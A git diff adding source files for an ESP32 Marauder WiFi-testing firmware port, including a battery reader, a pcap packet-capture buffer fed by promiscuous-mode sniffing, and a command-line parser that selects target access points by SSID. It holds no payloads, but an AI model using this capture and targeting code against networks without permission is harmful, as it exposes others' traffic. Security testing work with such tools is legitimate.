+ 0xCD, 0xCF, 0x9B, 0x6F, 0xA3, 0xCC, 0xD2, 0x6B, 0x37, 0x8A, 0xA3, 0xFD, 0x3B, 0x50, 0xE4, 0x3C,
+ 0x99, 0xC9, 0x38, 0x00, 0xED, 0x1F, 0x4E, 0x95, 0xE7, 0x53, 0x8F, 0xD6, 0xF3, 0x48, 0xCB, 0xA2,
+ 0x6D, 0xFC, 0xA1, 0xEE, 0xC7, 0xEF, 0x93, 0x6F, 0xE4, 0x7D, 0x7E, 0x32, 0x51, 0xE1, 0xDE, 0x06,
+ 0xA9, 0x47, 0x6A, 0x92, 0x8C, 0x60, 0xFF, 0x00, 0xEB, 0xE6, 0x22, 0xD5, 0xAA, 0xBF, 0x58, 0xD1,
+ 0x85, 0x2A, 0x6F, 0xB3, 0x9B, 0xEE, 0x7E, 0x9E, 0x7F, 0xC1, 0xBA, 0x1F, 0xF0, 0x49, 0x5D, 0x6F,
+ 0xC5, 0x1F, 0x16, 0x7C, 0x13, 0xFB, 0x6F, 0xFC, 0x46, 0xD5, 0xB5, 0x7D, 0x16, 0xE3, 0xC3, 0xBA,
+ 0x98, 0xD6, 0x7C, 0x36, 0x96, 0xC6, 0xD6, 0xE2, 0xC3, 0x51, 0xB5, 0x7B, 0x5C, 0x24, 0x32, 0xED,
+ 0x73, 0x2C, 0x53, 0xB8, 0x98, 0xC9, 0x86, 0x0A, 0x16, 0x34, 0x53, 0xF3, 0x17, 0xC2, 0xFE, 0xEA,
+ 0xFC, 0x5F, 0xD7, 0xAC, 0xB4, 0x5D, 0x03, 0xCE, 0xBA, 0xB9, 0x8E, 0x11, 0x02, 0xB4, 0xD2, 0x4B,
+ 0x2C, 0x81, 0x52, 0x34, 0x03, 0x96, 0x62, 0x4F, 0x00, 0x67, 0x39, 0xE9, 0xC1, 0xAF, 0xA1, 0x3F,
+ 0x19, 0x3F, 0x94, 0xAF, 0xF8, 0x2A, 0xE7, 0xFC, 0x14, 0xC3, 0xC7, 0xBF, 0xF0, 0x51, 0x0F, 0x8D,
+ 0xB3, 0x5C, 0x17, 0x8E, 0xD7, 0xC0, 0x7E, 0x19, 0xD4, 0x2E, 0xA1, 0xF0, 0x36, 0x97, 0x1D, 0xB9,
+ 0x46, 0x36, 0xEC, 0xFB, 0x7E, 0xD5, 0x36, 0xEC, 0x9F, 0x3A, 0x54, 0x44, 0x2C, 0x38, 0x0A, 0x00,
+ 0x50, 0x3E, 0x52, 0x4F, 0xCA, 0x74, 0x00, 0x51, 0x40, 0x05, 0x14, 0x00, 0x51, 0x40, 0x05, 0x4D,
+ 0x67, 0x6F, 0x2D, 0xD4, 0xF1, 0xDB, 0xC1, 0x1B, 0x3C, 0x92, 0x30, 0x54, 0x55, 0xE4, 0xB1, 0x3D,
+ 0x00, 0xA3, 0xA3, 0x6C, 0xAA, 0x71, 0x94, 0xE6, 0xA2, 0xBA, 0x9F, 0x53, 0x78, 0xDA, 0x3F, 0x84,
+ 0x3F, 0x06, 0xBE, 0x18, 0x69, 0xDE, 0x13, 0xD4, 0x7C, 0x56, 0x96, 0x3E, 0x26, 0xB5, 0xD3, 0x45,
+ 0xAC, 0xF7, 0x1A, 0x34, 0x2B, 0x35, 0xDC, 0x7B, 0x8E, 0xF9, 0x54, 0x7C, 0xC3, 0xCB, 0xCB, 0x31,
+ 0xF9, 0x89, 0x04, 0x8E, 0x95, 0xE2, 0x1F, 0x09, 0xFC, 0x23, 0xA4, 0xDE, 0xDE, 0x4B, 0xF1, 0x07,
+ 0xC7, 0x71, 0x49, 0xFF, 0x00, 0x08, 0xE6, 0x8F, 0x27, 0x99, 0x77, 0xB8, 0x73, 0x7B, 0x28, 0xC1,
+ 0x5B, 0x64, 0xF5, 0x66, 0x38, 0xCF, 0x3C, 0x2E, 0x4F, 0x6A, 0xF8, 0xEC, 0x9E, 0xB6, 0x61, 0xFD,
+ 0x9F, 0x5B, 0x11, 0x56, 0x36, 0x95, 0x49, 0x35, 0x06, 0xF7, 0x69, 0xBF, 0x75, 0x5B, 0xA2, 0x4D,
+ 0xDF, 0xEF, 0x67, 0xF4, 0x97, 0x88, 0x99, 0x6F, 0x0A, 0x7F, 0xAD, 0xF9, 0x66, 0x4D, 0x97, 0xD6,
+ 0xE7, 0xA3, 0x84, 0xA3, 0x07, 0x8A, 0x51, 0xF8, 0x14, 0xA9, 0xC2, 0x32, 0xAC, 0xD4, 0xBE, 0xD4,
+ 0xA4, 0xA3, 0xCA, 0xFC, 0xD4, 0x51, 0xD9, 0xE9, 0xDE, 0x2C, 0xD5, 0x34, 0x3F, 0x0F, 0x6A, 0xDF,
+ 0xB4, 0x2F, 0x8C, 0x16, 0x35, 0xD6, 0xB5, 0xCD, 0xD6, 0x7E, 0x12, 0x83, 0x60, 0x53, 0x07, 0x18,
+ 0x69, 0xE3, 0x5C, 0xFC, 0xA8, 0x8B, 0xF2, 0x29, 0x03, 0x19, 0x35, 0xFA, 0x55, 0xFF, 0x00, 0x04,
+ 0xCA, 0xFF, 0x00, 0x83, 0x7E, 0x3C, 0x51, 0xAA, 0x7E, 0xD5, 0x5E, 0x0F, 0xFD, 0xAA, 0xB4, 0xAF,
+ 0x8C, 0xD1, 0xEB, 0x5F, 0x08, 0x2D, 0x2D, 0xAD, 0x75, 0xCF, 0x0B, 0xEB, 0x92, 0xE8, 0x51, 0xAD,
+ 0xEE, 0xBB, 0x2B, 0xC6, 0x8D, 0xE4, 0xCF, 0x63, 0x2B, 0xB7, 0x91, 0x6A, 0xC1, 0xA4, 0xC4, 0xC4,
+ 0xB1, 0x92, 0x3D, 0x8C, 0xAA, 0xBE, 0x60, 0x2B, 0xED, 0xE5, 0x74, 0x63, 0x09, 0x54, 0x94, 0x76,
+ 0x56, 0x82, 0xF4, 0x82, 0xB7, 0xFE, 0x95, 0xCC, 0x7E, 0x5D, 0xC7, 0x59, 0x8D, 0x6C, 0x45, 0x1C,
+ 0x25, 0x1A, 0xBF, 0xC4, 0x92, 0x9E, 0x22, 0xA7, 0xF8, 0xF1, 0x12, 0xE6, 0x4B, 0xE5, 0x49, 0x53,
+ 0x4B, 0xB2, 0x3F, 0x72, 0x21, 0x5F, 0x87, 0xFF, 0x00, 0xB3, 0xF7, 0xC3, 0x8C, 0xC9, 0x2C, 0x1A,
+ 0x76, 0x97, 0xA7, 0xC7, 0x24, 0xD7, 0x17, 0x57, 0x57, 0x01, 0x46, 0x7E, 0x69, 0x24, 0x9A, 0x69,
+ 0x64, 0x6E, 0x58, 0xFC, 0xCC, 0xF2, 0x39, 0x24, 0x9C, 0xB1, 0x24, 0x93, 0x5F, 0x8F, 0x7F, 0xF0,
+ 0x59, 0x9F, 0xF8, 0x38, 0x33, 0xE0, 0x6C, 0x1F, 0x0E, 0xBC, 0x4D, 0xFB, 0x37, 0xFE, 0xC8, 0xBE,
+ 0x23, 0x4F, 0x16, 0x78, 0x93, 0xC4, 0x3A, 0x7C, 0x96, 0x3A, 0x87, 0x8C, 0x34, 0x6B, 0xA8, 0xE4,
+ 0xD3, 0x34, 0xA8, 0x65, 0x8C, 0x87, 0x11, 0x4B, 0xB5, 0x96, 0xEA, 0x4D, 0x8D, 0xB4, 0x6C, 0xCA,
+ 0x2E, 0xE3, 0xF3, 0x87, 0x4D, 0xB5, 0xEB, 0x1F, 0x9E, 0x1F, 0x84, 0x24, 0xE4, 0xE6, 0x8A, 0x00,
+ 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x9D, 0x04, 0xD3, 0x5B, 0xCA, 0xB3, 0x41, 0x23,
+ 0x2B, 0xAB, 0x65, 0x59, 0x5B, 0x04, 0x1F, 0x5A, 0x07, 0x19, 0x38, 0xCA, 0xE8, 0xF4, 0x0F, 0x86,
+ 0x5F, 0x01, 0xBC, 0x7B, 0xF1, 0x8F, 0x49, 0xB8, 0xF1, 0x2E, 0x8D, 0x2A, 0xBA, 0x45, 0xA9, 0x47,
+ 0x6F, 0x3C, 0xB7, 0x0C, 0x79, 0xDC, 0x0B, 0x3C, 0x85, 0x8F, 0x65, 0xF9, 0x73, 0xD4, 0xFC, 0xC2,
+ 0xBD, 0x3F, 0x44, 0xF8, 0x27, 0x73, 0xF1, 0x8A, 0x39, 0xBC, 0x0F, 0xE1, 0xCB, 0xD9, 0xF4, 0x9F,
+ 0x0F, 0x78, 0x57, 0x50, 0x82, 0x08, 0xE2, 0xB9, 0xB5, 0x31, 0xC9, 0x7C, 0xCE, 0x33, 0x35, 0xCB,
+ 0x03, 0xFC, 0x64, 0x72, 0xA0, 0xFF, 0x00, 0x09, 0x03, 0x8A, 0xF9, 0x3C, 0xDB, 0x3C, 0xC2, 0xE1,
+ 0x6A, 0x4E, 0x5B, 0xAA, 0x0D, 0x5D, 0x79, 0xCA, 0xCA, 0x3F, 0x72, 0x6D, 0x9F, 0xD0, 0xBC, 0x01,
+ 0xE1, 0x6E, 0x79, 0x9E, 0x61, 0xB0, 0xF4, 0xE5, 0x78, 0xCB, 0x35, 0x52, 0x54, 0xE6, 0xEF, 0xFC,
+ 0x3A, 0x7C, 0xD5, 0x2A, 0xDD, 0xF7, 0x93, 0x84, 0x22, 0xBB, 0xA6, 0xCF, 0x32, 0xFD, 0xA4, 0x75,
+ 0x5D, 0x6E, 0x6F, 0x88, 0x0D, 0xE1, 0xFB, 0xFD, 0x21, 0x74, 0xBB, 0x1D, 0x26, 0x05, 0xB6, 0xD2,
+ 0x74, 0x94, 0x99, 0x5B, 0xEC, 0xB0, 0x0E, 0x99, 0xDA, 0x4E, 0x19, 0xBE, 0xF1, 0xCF, 0x3C, 0xF3,
+ 0xDA, 0xBF, 0x46, 0x3F, 0xE0, 0xDF, 0xFF, 0x00, 0xF8, 0x2E, 0xAF, 0x82, 0xFF, 0x00, 0x61, 0x3F,
+ 0x09, 0x78, 0x8F, 0xF6, 0x6A, 0xFD, 0xAD, 0x75, 0x8D, 0x62, 0x6F, 0x02, 0xBC, 0x73, 0x6A, 0xDE,
+ 0x13, 0xD5, 0x96, 0x49, 0xAF, 0x1B, 0x4A, 0xBA, 0x58, 0xC6, 0xEB, 0x04, 0x87, 0x27, 0x64, 0x33,
+ 0x6D, 0x2C, 0xBB, 0x00, 0x0B, 0x29, 0x24, 0x8C, 0x48, 0xCC, 0xBE, 0xFE, 0x5B, 0x18, 0xC7, 0x03,
+ 0x4D, 0x45, 0xDF, 0x44, 0xEF, 0xDD, 0xBD, 0x5B, 0xF9, 0xBD, 0x4F, 0xC8, 0x38, 0xD2, 0xB5, 0x7A,
+ 0xDC, 0x57, 0x8C, 0x75, 0xA1, 0xC8, 0xD5, 0x49, 0x45, 0x46, 0xF7, 0xE4, 0x8C, 0x7D, 0xD8, 0xC2,
+ 0xEB, 0xF9, 0x62, 0x94, 0x7E, 0x47, 0x86, 0xFF, 0x00, 0xC1, 0x5E, 0x3F, 0xE0, 0xB6, 0xBF, 0x1D,
+ 0x7F, 0xE0, 0xA3, 0x1F, 0x11, 0xEF, 0x3C, 0x2D, 0xE1, 0x1D, 0x7A, 0xFB, 0xC3, 0x7F, 0x0B, 0x74,
+ 0xDB, 0xA9, 0x62, 0xD0, 0xF4, 0x1B, 0x37, 0x30, 0x4B, 0xA8, 0xC7, 0x87, 0x8F, 0xED, 0x17, 0x65,
+ 0x4E, 0x58, 0xC8, 0x8E, 0xC3, 0xC9, 0xC9, 0x8D, 0x54, 0xE3, 0xE6, 0x6C, 0xBB, 0x7C, 0x2B, 0x9A,
+ 0xED, 0x3E, 0x60, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x28, 0xA0, 0x02, 0x8A, 0x00, 0x29, 0xC8, 0x01,
+ 0x39, 0xA0, 0x0F, 0x5F, 0xF0, 0x3F, 0xED, 0x28, 0xDF, 0x08, 0x7E, 0x12, 0xC5, 0xE0, 0xDF, 0x87,
+ 0x16, 0x5F, 0xF1, 0x37, 0xBC, 0xB8, 0x7B, 0x9D, 0x43, 0x51, 0xB9, 0x8F, 0x72, 0xC2, 0xC4, 0x85,
+ 0x0A, 0x88, 0x72, 0x18, 0xEC, 0x55, 0xE4, 0x8C, 0x72, 0x78, 0xEF, 0x58, 0xDA, 0x17, 0xED, 0x35,
+ 0xF1, 0x13, 0xC3, 0x9E, 0x09, 0xD4, 0x7C, 0x2B, 0xA5, 0xEA, 0x12, 0x0B, 0xCD, 0x56, 0xFD, 0xAE,
+ 0x2F, 0x35, 0x89, 0xA5, 0x2F, 0x39, 0x53, 0x1A, 0xA6, 0xC5, 0xCF, 0xDD, 0xFB, 0xBF, 0x7B, 0xA8,
+ 0xED, 0x8A, 0xF9, 0xB5, 0xC3, 0x78, 0x5A, 0xB5, 0x2B, 0x54, 0xAF, 0xAB, 0xAB, 0x35, 0x27, 0xE9,
+ 0x17, 0x78, 0xC7, 0xFC, 0xFB, 0x9F, 0xB7, 0x54, 0xF1, 0xAB, 0x3E, 0xC0, 0xE1, 0x72, 0xEC, 0x26,
+ 0x56, 0xFD, 0x9D, 0x2C, 0x16, 0x1A, 0x54, 0x69, 0xF7, 0xF6, 0x95, 0x62, 0xD5, 0x5A, 0xBE, 0xBE,
+ 0xF3, 0x51, 0xEC, 0xAC, 0xF7, 0xB9, 0xE7, 0x97, 0x97, 0x13, 0xDD, 0xDC, 0x35, 0xCD, 0xCC, 0xCD,
+ 0x24, 0x92, 0x1C, 0xC8, 0xEE, 0xD9, 0x2C, 0x7D, 0x49, 0xA8, 0xB2, 0x47, 0x4A, 0xFA, 0x4D, 0xB4,
+ 0x47, 0xE2, 0x73, 0x94, 0xAA, 0x4D, 0xCA, 0x4E, 0xED, 0xEA, 0xD8, 0x64, 0x9E, 0xB4, 0x50, 0x48,
+ 0x51, 0x40, 0x05, 0x14, 0x00, 0x51, 0x40, 0x05, 0x14, 0x00, 0x51, 0x93, 0x40, 0x06, 0x4F, 0xAD,
+ 0x19, 0x3E, 0xB4, 0x00, 0x12, 0x4F, 0x5A, 0x28, 0x00, 0xA2, 0x80, 0x0A, 0x28, 0x00, 0xA2, 0x80,
+ 0x0A, 0x28, 0x00, 0xA2, 0x80, 0x0A, 0x28, 0x00, 0xA2, 0x80, 0x0A, 0x28, 0x00, 0xA2, 0x80, 0x0A,
+ 0x28, 0x00, 0xA2, 0x80, 0x0A, 0x28, 0x03, 0xFF, 0xD9};
+
+#endif
+*/
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.cpp b/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.cpp
new file mode 100644
index 0000000..f279886
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.cpp
@@ -0,0 +1,43 @@
+#include "BatteryInterface.h"
+#include "lang_var.h"
+BatteryInterface::BatteryInterface() {
+
+}
+
+void BatteryInterface::main(uint32_t currentTime) {
+ if (currentTime != 0) {
+ if (currentTime - initTime >= 3000) {
+ //Serial.println("Checking Battery Level");
+ this->initTime = millis();
+ int8_t new_level = this->getBatteryLevel();
+ //this->battery_level = this->getBatteryLevel();
+ if (this->battery_level != new_level) {
+ Serial.println(text00 + (String)new_level);
+ this->battery_level = new_level;
+ }
+ }
+ }
+}
+
+void BatteryInterface::RunSetup() {
+ Wire.begin(I2C_SDA, I2C_SCL);
+ this->initTime = millis();
+}
+
+int8_t BatteryInterface::getBatteryLevel() {
+ Wire.beginTransmission(IP5306_ADDR);
+ Wire.write(0x78);
+ if (Wire.endTransmission(false) == 0 &&
+ Wire.requestFrom(0x75, 1)) {
+ this->i2c_supported = true;
+ switch (Wire.read() & 0xF0) {
+ case 0xE0: return 25;
+ case 0xC0: return 50;
+ case 0x80: return 75;
+ case 0x00: return 100;
+ default: return 0;
+ }
+ }
+ this->i2c_supported = false;
+ return -1;
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.h b/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.h
new file mode 100644
index 0000000..078c120
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/BatteryInterface.h
@@ -0,0 +1,32 @@
+#pragma once
+
+#ifndef BatteryInterface_h
+#define BatteryInterface_h
+
+#include
+
+#include "configs.h"
+
+#include
+
+#define I2C_SDA 33
+#define I2C_SCL 22
+#define IP5306_ADDR 0x75
+
+class BatteryInterface {
+ private:
+ uint32_t initTime = 0;
+
+ public:
+ int8_t battery_level = 0;
+ int8_t old_level = 0;
+ bool i2c_supported = false;
+
+ BatteryInterface();
+
+ void RunSetup();
+ void main(uint32_t currentTime);
+ int8_t getBatteryLevel();
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/Buffer.cpp b/S2Mini_esp32_v1.0.0_marauder/Buffer.cpp
new file mode 100644
index 0000000..78a3cb9
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Buffer.cpp
@@ -0,0 +1,242 @@
+#include "Buffer.h"
+#include "lang_var.h"
+
+Buffer::Buffer(){
+ bufA = (uint8_t*)malloc(BUF_SIZE);
+ bufB = (uint8_t*)malloc(BUF_SIZE);
+}
+
+void Buffer::createFile(String name, bool is_pcap){
+ int i=0;
+ if (is_pcap) {
+ do{
+ fileName = "/"+name+"_"+(String)i+".pcap";
+ i++;
+ } while(fs->exists(fileName));
+ }
+ else {
+ do{
+ fileName = "/"+name+"_"+(String)i+".log";
+ i++;
+ } while(fs->exists(fileName));
+ }
+
+ Serial.println(fileName);
+
+ file = fs->open(fileName, FILE_WRITE);
+ file.close();
+}
+
+void Buffer::open(bool is_pcap){
+ bufSizeA = 0;
+ bufSizeB = 0;
+
+ bufSizeB = 0;
+
+ writing = true;
+
+ if (is_pcap) {
+ write(uint32_t(0xa1b2c3d4)); // magic number
+ write(uint16_t(2)); // major version number
+ write(uint16_t(4)); // minor version number
+ write(int32_t(0)); // GMT to local correction
+ write(uint32_t(0)); // accuracy of timestamps
+ write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
+ write(uint32_t(105)); // data link type
+ }
+}
+
+void Buffer::openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap) {
+ bool save_pcap = settings_obj.loadSetting("SavePCAP");
+ if (!save_pcap) {
+ this->fs = NULL;
+ this->serial = false;
+ writing = false;
+ return;
+ }
+ this->fs = fs;
+ this->serial = serial;
+ if (this->fs) {
+ createFile(file_name, is_pcap);
+ }
+ if (this->fs || this->serial) {
+ open(is_pcap);
+ } else {
+ writing = false;
+ }
+}
+
+void Buffer::pcapOpen(String file_name, fs::FS* fs, bool serial) {
+ openFile(file_name, fs, serial, true);
+}
+
+void Buffer::logOpen(String file_name, fs::FS* fs, bool serial) {
+ openFile(file_name, fs, serial, false);
+}
+
+void Buffer::add(const uint8_t* buf, uint32_t len, bool is_pcap){
+ // buffer is full -> drop packet
+ if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
+ //Serial.print(";");
+ return;
+ }
+
+ if(useA && bufSizeA + len + 16 >= BUF_SIZE && bufSizeB == 0){
+ useA = false;
+ //Serial.println("\nswitched to buffer B");
+ }
+ else if(!useA && bufSizeB + len + 16 >= BUF_SIZE && bufSizeA == 0){
+ useA = true;
+ //Serial.println("\nswitched to buffer A");
+ }
+
+ uint32_t microSeconds = micros(); // e.g. 45200400 => 45s 200ms 400us
+ uint32_t seconds = (microSeconds/1000)/1000; // e.g. 45200400/1000/1000 = 45200 / 1000 = 45s
+
+ microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
+
+ if (is_pcap) {
+ write(seconds); // ts_sec
+ write(microSeconds); // ts_usec
+ write(len); // incl_len
+ write(len); // orig_len
+ }
+
+ write(buf, len); // packet payload
+}
+
+void Buffer::append(wifi_promiscuous_pkt_t *packet, int len) {
+ bool save_packet = settings_obj.loadSetting(text_table4[7]);
+ if (save_packet) {
+ add(packet->payload, len, true);
+ }
+}
+
+void Buffer::append(String log) {
+ bool save_packet = settings_obj.loadSetting(text_table4[7]);
+ if (save_packet) {
+ add((const uint8_t*)log.c_str(), log.length(), false);
+ }
+}
+
+void Buffer::write(int32_t n){
+ uint8_t buf[4];
+ buf[0] = n;
+ buf[1] = n >> 8;
+ buf[2] = n >> 16;
+ buf[3] = n >> 24;
+ write(buf,4);
+}
+
+void Buffer::write(uint32_t n){
+ uint8_t buf[4];
+ buf[0] = n;
+ buf[1] = n >> 8;
+ buf[2] = n >> 16;
+ buf[3] = n >> 24;
+ write(buf,4);
+}
+
+void Buffer::write(uint16_t n){
+ uint8_t buf[2];
+ buf[0] = n;
+ buf[1] = n >> 8;
+ write(buf,2);
+}
+
+void Buffer::write(const uint8_t* buf, uint32_t len){
+ if(!writing) return;
+ while(saving) delay(10);
+
+ if(useA){
+ memcpy(&bufA[bufSizeA], buf, len);
+ bufSizeA += len;
+ }else{
+ memcpy(&bufB[bufSizeB], buf, len);
+ bufSizeB += len;
+ }
+}
+
+void Buffer::saveFs(){
+ file = fs->open(fileName, FILE_APPEND);
+ if (!file) {
+ Serial.println(text02+fileName+"'");
+ return;
+ }
+
+ if(useA){
+ if(bufSizeB > 0){
+ file.write(bufB, bufSizeB);
+ }
+ if(bufSizeA > 0){
+ file.write(bufA, bufSizeA);
+ }
+ } else {
+ if(bufSizeA > 0){
+ file.write(bufA, bufSizeA);
+ }
+ if(bufSizeB > 0){
+ file.write(bufB, bufSizeB);
+ }
+ }
+
+ file.close();
+}
+
+void Buffer::saveSerial() {
+ // Saves to main console UART, user-facing app will ignore these markers
+ // Uses / and ] in markers as they are illegal characters for SSIDs
+ const char* mark_begin = "[BUF/BEGIN]";
+ const size_t mark_begin_len = strlen(mark_begin);
+ const char* mark_close = "[BUF/CLOSE]";
+ const size_t mark_close_len = strlen(mark_close);
+
+ // Additional buffer and memcpy's so that a single Serial.write() is called
+ // This is necessary so that other console output isn't mixed into buffer stream
+ uint8_t* buf = (uint8_t*)malloc(mark_begin_len + bufSizeA + bufSizeB + mark_close_len);
+ uint8_t* it = buf;
+ memcpy(it, mark_begin, mark_begin_len);
+ it += mark_begin_len;
+
+ if(useA){
+ if(bufSizeB > 0){
+ memcpy(it, bufB, bufSizeB);
+ it += bufSizeB;
+ }
+ if(bufSizeA > 0){
+ memcpy(it, bufA, bufSizeA);
+ it += bufSizeA;
+ }
+ } else {
+ if(bufSizeA > 0){
+ memcpy(it, bufA, bufSizeA);
+ it += bufSizeA;
+ }
+ if(bufSizeB > 0){
+ memcpy(it, bufB, bufSizeB);
+ it += bufSizeB;
+ }
+ }
+
+ memcpy(it, mark_close, mark_close_len);
+ it += mark_close_len;
+ Serial.write(buf, it - buf);
+ free(buf);
+}
+
+void Buffer::save() {
+ saving = true;
+
+ if((bufSizeA + bufSizeB) == 0){
+ saving = false;
+ return;
+ }
+
+ if(this->fs) saveFs();
+ if(this->serial) saveSerial();
+
+ bufSizeA = 0;
+ bufSizeB = 0;
+
+ saving = false;
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/Buffer.h b/S2Mini_esp32_v1.0.0_marauder/Buffer.h
new file mode 100644
index 0000000..3862dcc
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Buffer.h
@@ -0,0 +1,54 @@
+#pragma once
+
+#ifndef Buffer_h
+#define Buffer_h
+
+#include "Arduino.h"
+#include "FS.h"
+#include "settings.h"
+#include "esp_wifi_types.h"
+
+#define BUF_SIZE 3 * 1024 // Had to reduce buffer size to save RAM. GG @spacehuhn
+#define SNAP_LEN 2324 // max len of each recieved packet
+
+//extern bool useSD;
+
+extern Settings settings_obj;
+
+class Buffer {
+ public:
+ Buffer();
+ void pcapOpen(String file_name, fs::FS* fs, bool serial);
+ void logOpen(String file_name, fs::FS* fs, bool serial);
+ void append(wifi_promiscuous_pkt_t *packet, int len);
+ void append(String log);
+ void save();
+ private:
+ void createFile(String name, bool is_pcap);
+ void open(bool is_pcap);
+ void openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap);
+ void add(const uint8_t* buf, uint32_t len, bool is_pcap);
+ void write(int32_t n);
+ void write(uint32_t n);
+ void write(uint16_t n);
+ void write(const uint8_t* buf, uint32_t len);
+ void saveFs();
+ void saveSerial();
+
+ uint8_t* bufA;
+ uint8_t* bufB;
+
+ uint32_t bufSizeA = 0;
+ uint32_t bufSizeB = 0;
+
+ bool writing = false; // acceppting writes to buffer
+ bool useA = true; // writing to bufA or bufB
+ bool saving = false; // currently saving onto the SD card
+
+ String fileName = "/0.pcap";
+ File file;
+ fs::FS* fs;
+ bool serial;
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/CommandLine.cpp b/S2Mini_esp32_v1.0.0_marauder/CommandLine.cpp
new file mode 100644
index 0000000..74355e5
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/CommandLine.cpp
@@ -0,0 +1,1376 @@
+#include "CommandLine.h"
+
+CommandLine::CommandLine() {
+}
+
+void CommandLine::RunSetup() {
+ Serial.println(this->ascii_art);
+
+ Serial.println(F("\n\n--------------------------------\n"));
+ Serial.println(F(" ESP32 Marauder \n"));
+ Serial.println(" " + version_number + "\n");
+ Serial.println(F(" By: justcallmekoko\n"));
+ Serial.println(F("--------------------------------\n\n"));
+
+ Serial.print("> ");
+}
+
+String CommandLine::getSerialInput() {
+ String input = "";
+
+ if (Serial.available() > 0)
+ input = Serial.readStringUntil('\n');
+
+ input.trim();
+ return input;
+}
+
+void CommandLine::main(uint32_t currentTime) {
+ String input = this->getSerialInput();
+
+ this->runCommand(input);
+
+ if (input != "")
+ Serial.print("> ");
+}
+
+LinkedList CommandLine::parseCommand(String input, char* delim) {
+ LinkedList cmd_args;
+
+ bool inQuote = false;
+ bool inApostrophe = false;
+ String buffer = "";
+
+ for (int i = 0; i < input.length(); i++) {
+ char c = input.charAt(i);
+
+ if (c == '"') {
+ // Check if the quote is within an apostrophe
+ if (inApostrophe) {
+ buffer += c;
+ } else {
+ inQuote = !inQuote;
+ }
+ } else if (c == '\'') {
+ // Check if the apostrophe is within a quote
+ if (inQuote) {
+ buffer += c;
+ } else {
+ inApostrophe = !inApostrophe;
+ }
+ } else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
+ cmd_args.add(buffer);
+ buffer = "";
+ } else {
+ buffer += c;
+ }
+ }
+
+ // Add the last argument
+ if (!buffer.isEmpty()) {
+ cmd_args.add(buffer);
+ }
+
+ return cmd_args;
+}
+
+int CommandLine::argSearch(LinkedList* cmd_args_list, String key) {
+ for (int i = 0; i < cmd_args_list->size(); i++) {
+ if (cmd_args_list->get(i) == key)
+ return i;
+ }
+
+ return -1;
+}
+
+bool CommandLine::checkValueExists(LinkedList* cmd_args_list, int index) {
+ if (index < cmd_args_list->size() - 1)
+ return true;
+
+ return false;
+}
+
+bool CommandLine::inRange(int max, int index) {
+ if ((index >= 0) && (index < max))
+ return true;
+
+ return false;
+}
+
+bool CommandLine::apSelected() {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected)
+ return true;
+ }
+
+ return false;
+}
+
+bool CommandLine::hasSSIDs() {
+ if (ssids->size() == 0)
+ return false;
+
+ return true;
+}
+
+void CommandLine::showCounts(int selected, int unselected) {
+ Serial.print((String) selected + " selected");
+
+ if (unselected != -1)
+ Serial.print(", " + (String) unselected + " unselected");
+
+ Serial.println("");
+}
+
+String CommandLine::toLowerCase(String str) {
+ String result = str;
+ for (int i = 0; i < str.length(); i++) {
+ int charValue = str.charAt(i);
+ if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
+ charValue += 32;
+ result.setCharAt(i, char(charValue));
+ }
+ }
+ return result;
+}
+
+void CommandLine::filterAccessPoints(String filter) {
+ int count_selected = 0;
+ int count_unselected = 0;
+
+ // Split the filter string into individual filters
+ LinkedList filters;
+ int start = 0;
+ int end = filter.indexOf(" or ");
+ while (end != -1) {
+ filters.add(filter.substring(start, end));
+ start = end + 4;
+ end = filter.indexOf(" or ", start);
+ }
+ filters.add(filter.substring(start));
+
+ // Loop over each access point and check if it matches any of the filters
+ for (int i = 0; i < access_points->size(); i++) {
+ bool matchesFilter = false;
+ for (int j = 0; j < filters.size(); j++) {
+ String f = toLowerCase(filters.get(j));
+ if (f.substring(0, 7) == "equals ") {
+ String ssidEquals = f.substring(7);
+ if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
+ (ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
+ ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
+ }
+ if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
+ matchesFilter = true;
+ break;
+ }
+ } else if (f.substring(0, 9) == "contains ") {
+ String ssidContains = f.substring(9);
+ if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
+ (ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
+ ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
+ }
+ String essid = toLowerCase(access_points->get(i).essid);
+ if (essid.indexOf(ssidContains) != -1) {
+ matchesFilter = true;
+ break;
+ }
+ }
+ }
+ // Toggles the selected state of the AP
+ AccessPoint new_ap = access_points->get(i);
+ new_ap.selected = matchesFilter;
+ access_points->set(i, new_ap);
+
+ if (matchesFilter) {
+ count_selected++;
+ } else {
+ count_unselected++;
+ }
+ }
+
+ this->showCounts(count_selected, count_unselected);
+}
+
+void CommandLine::runCommand(String input) {
+ if (input == "") return;
+
